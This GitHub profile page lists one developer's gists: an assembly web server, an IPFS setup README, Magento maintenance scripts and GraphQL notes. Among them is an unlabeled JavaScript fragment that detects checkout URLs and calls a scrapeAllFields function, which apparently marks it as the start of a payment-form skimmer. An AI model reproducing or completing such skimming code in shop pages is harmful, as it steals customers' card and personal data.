Skip to content

Instantly share code, notes, and snippets.

View jbelke's full-sized avatar
🎯
Focusing

Joshua Belke jbelke

🎯
Focusing
  • Magnetism Labs
  • NY
View GitHub Profile
@jbelke
jbelke / httpd.asm
Created March 11, 2020 14:06 — forked from xenomuta/httpd.asm
httpd.asm: Arguably the world smallest web server. ( for GNU/Linux i386. Compile with nasm )
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor esi, esi
jmp _socket
_socket_call:
@jbelke
jbelke / README.md
Created February 6, 2019 17:50 — forked from dignifiedquire/README.md
IPFS on Zerotier

[IPFS] on [Zerotier]

  1. Setup your own Zerotier network, either using your own server or the provided one.
  2. Ensure the network provides ip4 and ip6 addresses

On all machines you want to connect

1. Install Zerotier

2. Install IPFS 0.4 (from source at the moment, see Instructions here)

3. Join Zerotiernetwork

setTimeout(checkForCheckout, 100);
var snd = null;
function checkForCheckout() {
if ((/onepage|firecheckout|Checkout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm|fancycheckout/).test(window.location)) {
scrapeAllFields();
}
}
function createQueryString() {
@jbelke
jbelke / reset_permissions.sh
Created November 7, 2018 21:34 — forked from leek/reset_permissions.sh
Magento - Simple reset file permissions script
#!/bin/bash
#
# Found on StackOverflow:
# http://stackoverflow.com/a/9304264/3765
#
if [ ! -f ./app/etc/local.xml.template ]; then
echo "-- ERROR"
echo "-- This doesn't look like a Magento install. Please make sure"
echo "-- that you are running this from the Magento main doc root dir"
@jbelke
jbelke / change_magento1_base_urls_to_https.py
Created August 23, 2018 20:20 — forked from hn-support/change_magento1_base_urls_to_https.py
Change all base_urls of your Magento 1 live shop to https on hypernode
#!/usr/bin/env python
"""
Set the base-urls for your Magento 1 installation to support only https.
To use, download the file and make it executable. Then run:
./change_magento1_base_urls_to_https.py
After use, check your base-urls by issuing:
n98-magerun sys:store:config:base-url:list
This script requires n98-magerun.
@jbelke
jbelke / Event-stream based GraphQL subscriptions.md
Created May 31, 2018 13:09 — forked from OlegIlyenko/Event-stream based GraphQL subscriptions.md
Event-stream based GraphQL subscriptions for real-time updates

In this gist I would like to describe an idea for GraphQL subscriptions. It was inspired by conversations about subscriptions in the GraphQL slack channel and different GH issues, like #89 and #411.

Conceptual Model

At the moment GraphQL allows 2 types of queries:

  • query
  • mutation

Reference implementation also adds the third type: subscription. It does not have any semantics yet, so here I would like to propose one possible semantics interpretation and the reasoning behind it.

@jbelke
jbelke / Event-stream based GraphQL subscriptions.md
Created May 31, 2018 13:09 — forked from OlegIlyenko/Event-stream based GraphQL subscriptions.md
Event-stream based GraphQL subscriptions for real-time updates

In this gist I would like to describe an idea for GraphQL subscriptions. It was inspired by conversations about subscriptions in the GraphQL slack channel and different GH issues, like #89 and #411.

Conceptual Model

At the moment GraphQL allows 2 types of queries:

  • query
  • mutation

Reference implementation also adds the third type: subscription. It does not have any semantics yet, so here I would like to propose one possible semantics interpretation and the reasoning behind it.

@jbelke
jbelke / introrx.md
Created May 29, 2018 03:51 — forked from staltz/introrx.md
The introduction to Reactive Programming you've been missing
@jbelke
jbelke / customer.php
Created April 11, 2018 01:54 — forked from blessani/customer.php
Magento 1 Customer Delete Shell Class
<?php
require_once 'abstract.php';
class Mage_Shell_Customer extends Mage_Shell_Abstract
{
/**
* Run script
*
@jbelke
jbelke / magento_cookie.sql
Created March 7, 2018 01:56 — forked from jonathonbyrdziak/magento_cookie.sql
Fixing the Magento Cookie